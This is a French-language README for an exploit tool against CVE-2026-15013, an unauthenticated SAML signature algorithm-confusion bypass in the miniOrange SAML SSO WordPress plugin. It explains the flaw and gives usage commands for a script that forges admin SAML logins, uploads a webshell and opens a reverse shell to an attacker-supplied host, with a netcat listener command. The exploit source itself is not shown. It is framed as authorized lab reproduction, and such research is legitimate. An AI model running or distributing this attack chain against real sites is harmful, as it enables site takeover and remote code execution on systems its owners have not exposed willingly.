
Exploit pour CVE-2026-15013 : contournement non authentifié de l'authentification SAML via confusion d'algorithme. Forge des réponses SAML pour obtenir un accès administrateur et déployer un webshell/reverse shell. Pour des tests autorisés.
Preuve de concept pour CVE-2026-15013 : contournement d'authentification sans authentification préalable via une confusion d'algorithme de signature SAML (HMAC-SHA1) dans le plugin WordPress miniOrange SAML Single Sign On – SSO Login (versions jusqu'à 5.4.3 incluse).
Tests autorisés uniquement. Utilisez ce code uniquement sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation explicite de test. L'accès non autorisé à des systèmes informatiques est illégal.
| Rôle | |
|---|---|
| Découvreur de la vulnérabilité | lhking (crédité sur la fiche CVE) |
| CVE / CNA | Wordfence |
| Ce dépôt | Reproduction indépendante en laboratoire / automatisation du PoC (pas la découverte d'origine) |
Fiche CVE : https://www.cve.org/CVERecord?id=CVE-2026-15013
Mo_SAML_Utilities::mo_saml_cast_key() fait confiance à l'algorithme SignatureMethod de la SAMLResponse contrôlée par l'attaquant. Lorsqu'il est défini sur HMAC-SHA1, le plugin réinterprète la clé publique RSA de l'IdP comme un secret partagé HMAC et vérifie la signature avec celle-ci. Toute personne pouvant lire le certificat de l'IdP (souvent des métadonnées publiques) peut forger une assertion valide pour n'importe quel utilisateur WordPress existant, y compris les administrateurs.
Corrigé dans 5.4.4+ (algorithmes non sécurisés / HMAC rejeté).
9.8 CRITIQUE — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
openssl (pour extraire la clé publique du certificat)Installer les dépendances :
pip install -r requirements.txt
Chaîne complète (énumération, connexion HMAC, admin, webshell) :
python3 exploit.py -u https://TARGET.example
Shell inverse optionnel (démarrer d'abord le listener : nc -lvnp 4444) :
python3 exploit.py -u https://TARGET.example --lhost YOUR_IP --lport 4444
Connexion uniquement (sans shell) :
python3 exploit.py -u https://TARGET.example --no-shell
Remplacements manuels :
python3 exploit.py -u https://TARGET.example \
--issuer https://idp.example/realms/xxx \
--nameid admin \
-k ./idp-pubkey.pem
exp/shell.php?c=id)--lhostCe projet est exclusivement destiné à la recherche en sécurité, à des fins éducatives et autorisées. Les auteurs et contributeurs ne sont pas responsables d'une utilisation abusive. Obtenez toujours une autorisation écrite avant de tester des systèmes tiers. La vulnérabilité d'origine a été signalée dans le cadre d'une divulgation responsable ; ce dépôt ne démontre la reproduction qu'à des fins d'apprentissage et de validation défensive.
Pour un usage de recherche. Sans garantie.
| Option | Description |
|---|
-u, --url | URL de base de WordPress (requise) |
-k, --hmac-key | Clé publique PEM ou fichier de certificat ; si vide, récupération depuis les métadonnées IdP |
--issuer | Remplacer l'émetteur IdP |
--acs | Remplacer l'URL ACS |
--nameid | Forcer un seul nom d'utilisateur WordPress |
--lhost / --lport | Rappel du shell inverse (port par défaut 4444) |
--no-shell | S'arrêter après la session admin |
--no-reverse | Uploader le shell sans déclencher le reverse |